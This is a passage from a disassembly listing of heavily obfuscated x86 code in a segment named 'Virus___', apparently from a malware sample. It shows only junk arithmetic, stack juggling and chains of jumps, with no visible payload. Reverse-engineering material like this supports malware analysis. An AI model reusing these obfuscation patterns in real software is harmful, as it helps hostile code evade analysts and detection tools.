; ---------------------------------------------------------------------------


loc_56092D:				; CODE XREF: Virus___:0055586Dj
		mov	bl, 0B6h
		mov	al, bl
		pop	ebx
		dec	al
		jmp	loc_55EA8D
; ---------------------------------------------------------------------------


loc_560939:				; CODE XREF: Virus___:0055EAB8j
		add	ebp, ecx
		pop	ecx
		push	edx
		push	edi
		mov	edi, 418480Ch
		jmp	loc_564A27
; ---------------------------------------------------------------------------


loc_560948:				; CODE XREF: Virus___:0055EDEDj
		sub	ch, bl
		pop	ebx
		and	dl, ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	dl, 78h
		shl	dl, 6
		jmp	loc_55B70F
; ---------------------------------------------------------------------------


loc_56095F:				; CODE XREF: Virus___:00555E8Cj
		sub	ecx, 582242D5h
		mov	eax, ecx
		pop	ecx
		sub	edi, 35C041B1h
		jmp	loc_55BB9C
; ---------------------------------------------------------------------------


loc_560973:				; CODE XREF: Virus___:00562DFCj
		mov	[esp], edx
		jmp	loc_561D08
; ---------------------------------------------------------------------------


loc_56097B:				; CODE XREF: Virus___:00556DC1j
		pop	ecx
		inc	ecx
		dec	ecx
		push	edi
		jmp	loc_55EF4C
; ---------------------------------------------------------------------------


loc_560984:				; CODE XREF: Virus___:00564038j
		push	2FAD7007h
		pop	ecx
		jmp	loc_55FAA9
; ---------------------------------------------------------------------------


loc_56098F:				; CODE XREF: Virus___:005526A4j
		add	esp, 4
		add	ch, dh
		pop	edx
		shr	ch, 1
		push	ebx
		mov	bl, 34h
		xor	ch, bl
		pop	ebx
		xor	al, ch
		push	dword ptr [esp]
		jmp	loc_55F43D
; ---------------------------------------------------------------------------


loc_5609A7:				; CODE XREF: Virus___:0056295Aj
		sub	bl, 0F4h
		add	bl, al
		push	ax
		jmp	loc_5584D6
; ---------------------------------------------------------------------------


loc_5609B3:				; CODE XREF: Virus___:0055853Fj
		and	ebp, 11440722h
		add	ebp, 0FEBBF902h
		add	edi, ebp
		pop	ebp
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54FA46
; ---------------------------------------------------------------------------


loc_5609D1:				; CODE XREF: Virus___:0055CD0Ej
		xor	edi, 4D224DFCh
		jmp	loc_5534BE
; ---------------------------------------------------------------------------


loc_5609DC:				; CODE XREF: Virus___:0056132Aj
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55CF96
; ---------------------------------------------------------------------------


loc_5609F8:				; CODE XREF: Virus___:0055E325j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		push	271Dh
		mov	[esp], edi
		mov	edi, 7FFD2E39h
		add	dword ptr [esp+4], 13974B67h
		jmp	loc_552799
; ---------------------------------------------------------------------------


loc_560A19:				; CODE XREF: Virus___:0054FA19j
		not	bl
		xor	bl, 62h
		and	dl, bl
		pop	ebx
		push	ecx
		mov	ch, 0E2h
		sub	dl, 0D3h
		add	dl, ch
		add	dl, 0D3h
		jmp	loc_552E85
; ---------------------------------------------------------------------------


loc_560A31:				; CODE XREF: Virus___:00553B64j
		xor	ah, 76h
		add	bl, ah
		mov	eax, [esp]
		jmp	loc_554600
; ---------------------------------------------------------------------------
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		jmp	loc_562893
; ---------------------------------------------------------------------------


loc_560A58:				; CODE XREF: Virus___:005628E8j
		mov	ebx, 465A2047h
		jmp	loc_5596AB
; ---------------------------------------------------------------------------


loc_560A62:				; CODE XREF: Virus___:0055BEF3j
		pop	esi
		add	ebp, 3EE75B1Dh
		add	ebp, 56AE0AACh
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		xor	ebp, 313FCBADh
		sub	ebp, 22D531E1h
		push	eax
		mov	eax, 40DA212Ah
		xor	ebp, eax
		jmp	loc_551FB1
; ---------------------------------------------------------------------------


loc_560A8D:				; CODE XREF: Virus___:0055C6CFj
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55C4E7
; ---------------------------------------------------------------------------


loc_560A9F:				; CODE XREF: Virus___:00558FFEj
		mov	esi, 1A5B518Eh
		jmp	loc_54FAF8
; ---------------------------------------------------------------------------


loc_560AA9:				; CODE XREF: Virus___:00561A65j
		push	edi
		jmp	loc_55E6DB
; ---------------------------------------------------------------------------


loc_560AAF:				; CODE XREF: Virus___:0055807Cj
		push	ecx
		pop	eax
		jmp	loc_5504CC
; ---------------------------------------------------------------------------


loc_560AB6:				; CODE XREF: Virus___:005551FCj
		add	eax, 20284C20h
		add	ecx, eax
		mov	eax, [esp]
		jmp	loc_55D106
; ---------------------------------------------------------------------------


loc_560AC5:				; CODE XREF: Virus___:00551D6Cj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		sub	[edi+20h], ebp
		push	dword ptr [esp]
		pop	ebp
		push	0B89h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_558C67
; ---------------------------------------------------------------------------


loc_560AFF:				; CODE XREF: Virus___:00557EF9j
		sub	edx, 1067F1E2h
		and	ebp, edx
		pop	edx
		jmp	loc_55EFD8
; ---------------------------------------------------------------------------


loc_560B0D:				; CODE XREF: Virus___:0055C0C4j
		mov	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55A898
; ---------------------------------------------------------------------------


loc_560B1A:				; CODE XREF: Virus___:00557360j
		push	edx
		jmp	loc_55E9D7
; ---------------------------------------------------------------------------


loc_560B20:				; CODE XREF: Virus___:00559EC2j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55E815
; ---------------------------------------------------------------------------


loc_560B2E:				; CODE XREF: Virus___:00553CCEj
		add	esp, 4
		add	ebx, eax
		jmp	loc_55A1B0
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		jmp	loc_55C843
; ---------------------------------------------------------------------------


loc_560B42:				; CODE XREF: Virus___:005519CDj
		push	dword ptr [esp]
		pop	esi
		push	5EE5h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_563FDF
; ---------------------------------------------------------------------------


loc_560B5B:				; CODE XREF: Virus___:0056163Bj
		sub	ebx, 7D956983h
		jmp	loc_55B25E
; ---------------------------------------------------------------------------


loc_560B66:				; CODE XREF: Virus___:0055493Dj
		add	esp, 4
		push	38D0h
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_55C022
; ---------------------------------------------------------------------------


loc_560B7B:				; CODE XREF: Virus___:00561C14j
		dec	esi
		xchg	eax, esi
		shl	eax, 6
		add	eax, 8E6FDB04h
		jmp	loc_556BEB
; ---------------------------------------------------------------------------


loc_560B8A:				; CODE XREF: Virus___:0055EDC8j
		add	edx, 530A7F95h
		push	esi
		push	ecx
		jmp	loc_562D6E
; ---------------------------------------------------------------------------


loc_560B97:				; CODE XREF: Virus___:00554D25j
		xor	ebx, 52E92D14h
		shl	ebx, 1
		xor	ebx, 6861914Eh
		or	eax, ebx
		pop	ebx
		xor	eax, 6A1C3841h
		mov	edi, eax
		pop	eax
		add	edi, 4E90123Eh
		push	eax
		mov	eax, 1617239Ah
		sub	edi, 3CA86C51h
		jmp	loc_558D05
; ---------------------------------------------------------------------------


loc_560BC7:				; CODE XREF: Virus___:00552074j
		add	esp, 2
		push	edx
		mov	dl, 6Bh
		sub	al, dl
		pop	edx
		add	al, 0E3h
		add	al, bl
		sub	al, 0E3h
		add	al, 6Bh
		push	ecx
		mov	ch, 1Eh
		dec	ch
		sub	ch, 0BAh
		sub	al, 0Fh
		sub	al, ch
		jmp	loc_564125
; ---------------------------------------------------------------------------


loc_560BEC:				; CODE XREF: Virus___:00555DB7j
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_557BCD
; ---------------------------------------------------------------------------


loc_560BFE:				; CODE XREF: Virus___:005644AFj
		xor	ebx, [esp]
		jmp	loc_5512C0
; ---------------------------------------------------------------------------


loc_560C06:				; CODE XREF: Virus___:00552DFBj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55C4CA
; ---------------------------------------------------------------------------


loc_560C14:				; CODE XREF: Virus___:005604FCj
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_55158D
; ---------------------------------------------------------------------------


loc_560C28:				; CODE XREF: Virus___:00555EA6j
		xchg	esi, [esp]
		pop	esp
		or	[esp], ax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_560C36:				; CODE XREF: Virus___:0055F3BDj
		add	esi, 41CF56DEh
		jmp	loc_55C7F3
; ---------------------------------------------------------------------------


loc_560C41:				; CODE XREF: Virus___:0055D2CBj
		mov	ebp, esp
		jmp	loc_550713
; ---------------------------------------------------------------------------


loc_560C48:				; CODE XREF: Virus___:00550AF9j
		push	edi
		push	496222BAh
		jmp	loc_5549F0
; ---------------------------------------------------------------------------


loc_560C53:				; CODE XREF: Virus___:00564205j
		push	1ADFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		jmp	loc_54FE32
; ---------------------------------------------------------------------------


loc_560C6A:				; CODE XREF: Virus___:005551AAj
		shr	eax, 5
		dec	eax
		shr	eax, 5
		sub	eax, 829D3EAFh
		and	edi, eax
		pop	eax
		xchg	ebx, edi
		inc	ebx
		xchg	ebx, edi
		jmp	loc_56246A
; ---------------------------------------------------------------------------


loc_560C83:				; CODE XREF: Virus___:0055B70Aj
		mov	edi, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		sub	edi, 5C016E3Eh
		add	edi, 0F1367B1h
		jmp	loc_55AB52
; ---------------------------------------------------------------------------


loc_560CA4:				; CODE XREF: Virus___:00562187j
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		jmp	loc_55D071
; ---------------------------------------------------------------------------


loc_560CB3:				; CODE XREF: Virus___:0055F835j
		add	esp, 4
		sub	[edi+20h], edx
		mov	edx, [esp]
		add	esp, 4


loc_560CC2:				; CODE XREF: Virus___:0055062Cj
					; Virus___:0055E715j
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, esp
		jmp	loc_55AD37
; ---------------------------------------------------------------------------


loc_560CD0:				; CODE XREF: Virus___:0055DD5Bj
		sub	ecx, 61D27BFh
		push	esi
		push	ecx
		pop	esi
		mov	edx, esi
		pop	esi
		mov	ecx, [esp]
		jmp	loc_55C605
; ---------------------------------------------------------------------------


loc_560CE4:				; CODE XREF: Virus___:00556FEBj
		sub	esi, 13F006E6h
		sub	esi, 67F24738h
		jmp	loc_5531D0
; ---------------------------------------------------------------------------


loc_560CF5:				; CODE XREF: Virus___:00558908j
		sub	eax, ebp
		pop	ebp
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	edx
		jmp	loc_554B97
; ---------------------------------------------------------------------------


loc_560D0D:				; CODE XREF: Virus___:0055C493j
		mov	ecx, esp
		push	esi
		push	ebx
		mov	ebx, 4
		mov	esi, ebx
		jmp	loc_560DA9
; ---------------------------------------------------------------------------


loc_560D1D:				; CODE XREF: Virus___:0056297Fj
		pop	edx
		mov	eax, edx
		pop	edx
		push	ecx
		mov	ecx, 7282357Ah
		jmp	loc_55B386
; ---------------------------------------------------------------------------


loc_560D2C:				; CODE XREF: Virus___:00557E7Ej
		mov	edx, esp
		add	edx, 4
		jmp	loc_559613
; ---------------------------------------------------------------------------


loc_560D39:				; CODE XREF: Virus___:00551366j
		xor	[esp], edi
		jmp	loc_556C38
; ---------------------------------------------------------------------------


loc_560D41:				; CODE XREF: Virus___:00558724j
		mov	ecx, 3ABB0886h
		push	edi
		mov	edi, 14CEDB84h
		sub	ecx, edi
		jmp	loc_563692
; ---------------------------------------------------------------------------


loc_560D53:				; CODE XREF: Virus___:0055F59Bj
		sub	bl, ch
		add	bl, 0CDh
		add	bl, 0CDh
		pop	ecx
		add	bl, 15h
		jmp	loc_56308B
; ---------------------------------------------------------------------------


loc_560D64:				; CODE XREF: Virus___:0055DE00j
		pop	edx
		shl	edx, 5
		jmp	loc_55BE96
; ---------------------------------------------------------------------------


loc_560D6D:				; CODE XREF: Virus___:0055EA88j
		push	99h
		jmp	loc_55D079
; ---------------------------------------------------------------------------


loc_560D77:				; CODE XREF: Virus___:00560E3Ej
		shl	edx, 1
		not	edx
		jmp	loc_551E26
; ---------------------------------------------------------------------------


loc_560D80:				; CODE XREF: Virus___:0055428Bj
		push	840h
		jmp	loc_550B24
; ---------------------------------------------------------------------------


loc_560D8A:				; CODE XREF: Virus___:0056075Ej
		neg	ecx
		or	ecx, 0FE438BBh
		shl	ecx, 7
		or	ecx, 68E14462h
		add	ecx, 0B46BA3CCh
		add	eax, ecx
		pop	ecx
		jmp	loc_55AB81
; ---------------------------------------------------------------------------


loc_560DA9:				; CODE XREF: Virus___:00560D18j
		pop	ebx
		add	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		imul	ecx
		push	esi
		push	2B16h
		push	44CFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	ebx
		push	esi
		jmp	loc_55E209
; ---------------------------------------------------------------------------


loc_560DEE:				; CODE XREF: Virus___:00561C7Aj
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_557B3A
; ---------------------------------------------------------------------------


loc_560DFC:				; CODE XREF: Virus___:00559CDFj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	208h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_559587
; ---------------------------------------------------------------------------


loc_560E21:				; CODE XREF: Virus___:0055B02Cj
		pop	edx
		jmp	loc_559CC7
; ---------------------------------------------------------------------------


loc_560E27:				; CODE XREF: Virus___:0055174Aj
		and	eax, 4DAE0955h
		add	eax, 0FB77FFE4h
		add	eax, 5C875F71h
		add	eax, edi
		push	edx
		mov	edx, 1F1E3AA6h
		jmp	loc_560D77
; ---------------------------------------------------------------------------


loc_560E43:				; CODE XREF: Virus___:0055B3C2j
		push	edx
		push	ebx
		push	2E6B29EAh
		pop	ebx
		xor	ebx, 14DF1FFCh
		jmp	loc_55881D
; ---------------------------------------------------------------------------


loc_560E56:				; CODE XREF: Virus___:005548EBj
		push	edi
		mov	edi, 2DAA46C4h
		jmp	loc_56358E
; ---------------------------------------------------------------------------


loc_560E61:				; CODE XREF: Virus___:00563474j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5604B7
; ---------------------------------------------------------------------------


loc_560E89:				; CODE XREF: Virus___:005593E6j
		mov	ecx, 599F511Fh
		push	ecx
		jmp	loc_55D76A
; ---------------------------------------------------------------------------


loc_560E94:				; CODE XREF: Virus___:00558E60j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_555D5D
; ---------------------------------------------------------------------------


loc_560EA0:				; CODE XREF: Virus___:005579EFj
		push	esp
		pop	eax
		add	eax, 4
		push	ebp
		mov	ebp, 6E824896h
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2C1F5889h
		shr	ebx, 5
		not	ebx
		shr	ebx, 4
		sub	ebx, 0FE9F054h
		mov	edx, ebx
		pop	ebx
		sub	ebp, edx
		pop	edx
		push	edi
		jmp	loc_553A1F
; ---------------------------------------------------------------------------


loc_560ED3:				; CODE XREF: Virus___:00563D9Fj
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	511Ah
		mov	[esp], ecx
		jmp	loc_5569F8
; ---------------------------------------------------------------------------


loc_560EED:				; CODE XREF: Virus___:00558038j
		push	ecx
		mov	cl, 72h
		mov	ah, cl
		mov	ecx, [esp]
		jmp	loc_55D828
; ---------------------------------------------------------------------------


loc_560EFA:				; CODE XREF: Virus___:0055B249j
		push	ebx
		jmp	loc_551043
; ---------------------------------------------------------------------------


loc_560F00:				; CODE XREF: Virus___:0056259Fj
		pop	eax
		push	ebx
		mov	ebx, edx
		mov	ecx, ebx
		jmp	loc_5592E8
; ---------------------------------------------------------------------------


loc_560F0B:				; CODE XREF: Virus___:0055469Cj
		push	edx
		mov	edx, 900733h
		add	ebp, edx
		pop	edx
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_557110
; ---------------------------------------------------------------------------


loc_560F3C:				; CODE XREF: Virus___:0055AD45j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_55727D
; ---------------------------------------------------------------------------


loc_560F49:				; CODE XREF: Virus___:0055634Bj
		sub	dword ptr [esp+4], 23F83BA1h
		mov	edx, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_559798
; ---------------------------------------------------------------------------


loc_560F5F:				; CODE XREF: Virus___:00560628j
		add	edi, 384C5546h
		add	edi, 0C77C1C44h
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	6BD8h
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_55F67C
; ---------------------------------------------------------------------------


loc_560F88:				; CODE XREF: Virus___:00555BE8j
		mov	[esp], ecx
		mov	ecx, 5A4373FEh
		not	ecx
		push	7DCDh
		mov	[esp], esi
		mov	esi, 19CC0424h
		dec	esi
		shl	esi, 6
		jmp	loc_558CC3
; ---------------------------------------------------------------------------


loc_560FA8:				; CODE XREF: Virus___:0056021Bj
		add	ebx, ecx
		jmp	loc_55D46D
; ---------------------------------------------------------------------------


loc_560FAF:				; CODE XREF: Virus___:00550DC1j
		mov	esp, [esp]
		push	3547h
		mov	[esp], ebx
		jmp	loc_56167D
; ---------------------------------------------------------------------------


loc_560FBF:				; CODE XREF: Virus___:0055F633j
		sub	edi, 78010B1Ah
		add	edi, 2808281Eh
		jmp	loc_554242
; ---------------------------------------------------------------------------


loc_560FD0:				; CODE XREF: Virus___:0055B01Ej
		add	edx, 0EC5C420Ch
		and	ebx, edx
		mov	edx, [esp]
		jmp	loc_5500E4
; ---------------------------------------------------------------------------


loc_560FE0:				; CODE XREF: Virus___:00562817j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_55B650
; ---------------------------------------------------------------------------


loc_560FFA:				; CODE XREF: Virus___:0055109Cj
		dec	ebp
		xor	ebp, 60B04D4h
		jmp	loc_5508B7
; ---------------------------------------------------------------------------


loc_561006:				; CODE XREF: Virus___:005615ABj
		and	ebp, edx
		pop	edx
		xor	ebp, 1D9A7621h
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	[esp+4], esi
		push	dword ptr [esp]
		jmp	loc_557320
; ---------------------------------------------------------------------------


loc_561023:				; CODE XREF: Virus___:0055286Dj
		mov	esp, [esp]
		push	3913h
		mov	[esp], edx
		push	cx
		mov	cl, 7Ch
		push	ebx
		jmp	loc_55D0FD
; ---------------------------------------------------------------------------


loc_561038:				; CODE XREF: Virus___:00558A4Fj
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	eax
		push	4
		mov	eax, [esp]
		jmp	loc_55691A
; ---------------------------------------------------------------------------


loc_561057:				; CODE XREF: Virus___:0054FDDEj
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		jmp	loc_54F9C1
; ---------------------------------------------------------------------------


loc_561060:				; CODE XREF: Virus___:005590BBj
		mov	bl, 8Bh
		sub	bl, 1
		shr	bl, 3
		shl	bl, 7
		jmp	loc_5593EB
; ---------------------------------------------------------------------------


loc_561070:				; CODE XREF: Virus___:00555E25j
		mov	bl, 0DAh
		jmp	loc_56140F
; ---------------------------------------------------------------------------


loc_561077:				; CODE XREF: Virus___:0055747Cj
		sub	[esp], edx
		jmp	loc_55DF39
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_560411
; ---------------------------------------------------------------------------


loc_56108A:				; CODE XREF: Virus___:00559718j
		dec	ebp
		jmp	loc_55748C
; ---------------------------------------------------------------------------


loc_561090:				; CODE XREF: Virus___:00563C6Aj
		mov	edx, esp
		push	edi
		mov	edi, 9290B1Ch
		jmp	loc_5513AB
; ---------------------------------------------------------------------------


loc_56109D:				; CODE XREF: Virus___:0055B6CCj
		sub	edi, 46B6A447h
		jmp	loc_55BF18
; ---------------------------------------------------------------------------


loc_5610A8:				; CODE XREF: Virus___:0055D1F7j
		pop	esi
		pop	esi
		push	ebx
		mov	ebx, 5D9454C0h
		sub	ebx, 210729C9h
		or	ebx, 36DA6E00h
		push	ecx
		push	esi
		push	433F0697h
		pop	esi
		not	esi
		shr	esi, 7
		xor	esi, 3E724B72h
		jmp	loc_5536F5
; ---------------------------------------------------------------------------


loc_5610D4:				; CODE XREF: Virus___:005592AAj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	ecx
		push	ebx
		mov	ebx, 0E62482Ah
		jmp	loc_560846
; ---------------------------------------------------------------------------


loc_561100:				; CODE XREF: Virus___:00550BA1j
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 6A7C058Eh
		shr	ecx, 1
		sub	ecx, 0EB9AF5CEh
		and	ebp, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	799Bh
		mov	[esp], edi
		mov	edi, 0FFFFFFFFh
		push	edi
		sub	dword ptr [esp], 24AD2C27h
		pop	edx
		add	edx, 24AD2C27h
		pop	edi
		add	ebp, 34E57016h
		sub	ebp, edx
		sub	ebp, 34E57016h
		mov	edx, [esp]
		add	esp, 4
		push	1479h
		jmp	loc_5627E8
; ---------------------------------------------------------------------------


loc_56115B:				; CODE XREF: Virus___:00550A76j
		push	bx
		xor	word ptr [esp],	269Fh
		jmp	loc_5601F6
; ---------------------------------------------------------------------------


loc_561168:				; CODE XREF: Virus___:005584B9j
		dec	al
		jmp	loc_54FDC4
; ---------------------------------------------------------------------------


loc_56116F:				; CODE XREF: Virus___:0055173Fj
		mov	eax, 73452B52h
		and	eax, 0B844AA9h
		push	esi
		jmp	loc_55F397
; ---------------------------------------------------------------------------


loc_56117F:				; CODE XREF: Virus___:005512E9j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		jmp	loc_550DCC
; ---------------------------------------------------------------------------


loc_561192:				; CODE XREF: Virus___:0055A2C3j
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		jmp	loc_55C947
; ---------------------------------------------------------------------------


loc_5611A1:				; CODE XREF: Virus___:0056319Fj
		push	0
		pop	edi
		sub	edi, ecx
		xchg	edi, ecx
		mov	edi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 36322CBCh
		add	edi, 0FFFFFFFFh
		not	edi
		push	eax
		mov	eax, 57E80C1Eh
		jmp	loc_55BD17
; ---------------------------------------------------------------------------


loc_5611C7:				; CODE XREF: Virus___:00550586j
		mov	bh, 6Ah
		dec	bh
		shr	bh, 8
		jmp	loc_563139
; ---------------------------------------------------------------------------


loc_5611D3:				; CODE XREF: Virus___:005528C0j
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ebp, [esp]
		jmp	loc_560133
; ---------------------------------------------------------------------------


loc_5611EC:				; CODE XREF: Virus___:005517F7j
					; Virus___:0056428Bj
		push	3442h
		mov	[esp], eax
		jmp	loc_561973
; ---------------------------------------------------------------------------


loc_5611F9:				; CODE XREF: Virus___:00558668j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_553AF0
; ---------------------------------------------------------------------------


loc_56120E:				; CODE XREF: Virus___:00562137j
		or	esi, ebx
		pop	ebx
		and	esi, 205B4D0Fh
		add	esi, 1
		add	esi, 0DFA4FBF4h
		mov	edi, esi
		pop	esi
		sub	esi, 2ECD2887h
		add	esi, edi
		add	esi, 2ECD2887h
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_5607AA
; ---------------------------------------------------------------------------


loc_561242:				; CODE XREF: Virus___:00550CE2j
		add	esi, 49E61183h
		jmp	loc_559263
; ---------------------------------------------------------------------------


loc_56124D:				; CODE XREF: Virus___:00551543j
		mov	edi, [esp]
		add	esp, 4
		push	7388h
		mov	[esp], eax
		mov	eax, 4
		add	esi, 7CC4340Eh
		add	esi, eax
		push	edi
		mov	edi, 7CC4340Eh
		jmp	loc_55AA3E
; ---------------------------------------------------------------------------


loc_561273:				; CODE XREF: Virus___:0055D537j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_557CE7
; ---------------------------------------------------------------------------


loc_561287:				; CODE XREF: Virus___:00550880j
		mov	ebx, 4
		add	edx, 1D691713h
		sub	edx, ebx
		sub	edx, 1D691713h
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		jmp	loc_5575E8
; ---------------------------------------------------------------------------


loc_5612BE:				; CODE XREF: Virus___:0056193Aj
		pop	esi
		push	72A4h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55B3C7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		push	esi
		mov	esi, esp
		push	ebx
		push	40D7h
		mov	[esp], esi
		push	1346E34h
		jmp	loc_556FC0
; ---------------------------------------------------------------------------


loc_5612F0:				; CODE XREF: Virus___:00563066j
		add	esp, 2
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_552570
; ---------------------------------------------------------------------------


loc_5612FE:				; CODE XREF: Virus___:00553D8Fj
		push	esi
		push	63E61F6h
		pop	esi
		and	esi, 134E22F7h
		and	esi, 7D3B7FAEh
		neg	esi
		xor	esi, 0F14CCC74h
		sub	ebp, esi
		pop	esi
		jmp	loc_55D61B
; ---------------------------------------------------------------------------


loc_561321:				; CODE XREF: Virus___:0055EC6Dj
		xor	ecx, 8602317Ch
		xor	esi, ecx
		pop	ecx
		jmp	loc_5609DC
; ---------------------------------------------------------------------------


loc_56132F:				; CODE XREF: Virus___:0055C376j
		push	eax
		mov	ah, 0C7h
		sub	cl, ah
		mov	eax, [esp]
		add	esp, 4
		xor	ah, cl
		mov	ecx, [esp]
		add	esp, 4
		and	ah, 0ACh
		add	ah, 8Fh
		add	bl, ah
		mov	ax, [esp]
		add	esp, 2
		shl	bl, 8
		push	1E45h
		mov	[esp], edx
		jmp	loc_55A8A5
; ---------------------------------------------------------------------------


loc_561364:				; CODE XREF: Virus___:00550CAFj
		add	[esp+4], ebp
		jmp	loc_55F46E
; ---------------------------------------------------------------------------


loc_56136D:				; CODE XREF: Virus___:00564732j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_555373
; ---------------------------------------------------------------------------


loc_561378:				; CODE XREF: Virus___:005608D6j
		mov	edx, 4F4B6EE5h
		and	eax, edx
		pop	edx
		jmp	loc_5648B3
; ---------------------------------------------------------------------------


loc_561385:				; CODE XREF: Virus___:00559767j
		mov	eax, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55B2B3
; ---------------------------------------------------------------------------


loc_561394:				; CODE XREF: Virus___:0056196Ej
		mov	edi, esi
		pop	esi
		shr	edi, 8
		xor	edi, offset dword_56C514
		sub	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_552E8D
; ---------------------------------------------------------------------------


loc_5613AF:				; CODE XREF: Virus___:00563395j
		push	ecx
		push	652636BCh
		pop	ecx
		sub	esp, 4
		jmp	loc_55EC88
; ---------------------------------------------------------------------------


loc_5613C1:				; CODE XREF: Virus___:0055779Aj
		or	ah, 87h
		or	ah, 67h
		sub	ah, 24h
		add	bl, 22h
		add	bl, ah
		push	cx
		mov	ch, 22h
		sub	bl, ch
		pop	cx
		pop	eax
		add	bl, 86h
		push	629h
		jmp	loc_55CB69
; ---------------------------------------------------------------------------


loc_5613E5:				; CODE XREF: Virus___:005581C0j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5613EA:				; CODE XREF: Virus___:0055EACEj
		not	ch
		not	ch
		and	ch, 0BDh
		add	ch, 48h
		xchg	al, ch
		neg	al
		jmp	loc_558998
; ---------------------------------------------------------------------------


loc_5613FD:				; CODE XREF: Virus___:00562899j
		push	ecx
		jmp	loc_55B29D
; ---------------------------------------------------------------------------


loc_561403:				; CODE XREF: Virus___:005546CDj
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55C6D4
; ---------------------------------------------------------------------------


loc_56140F:				; CODE XREF: Virus___:00561072j
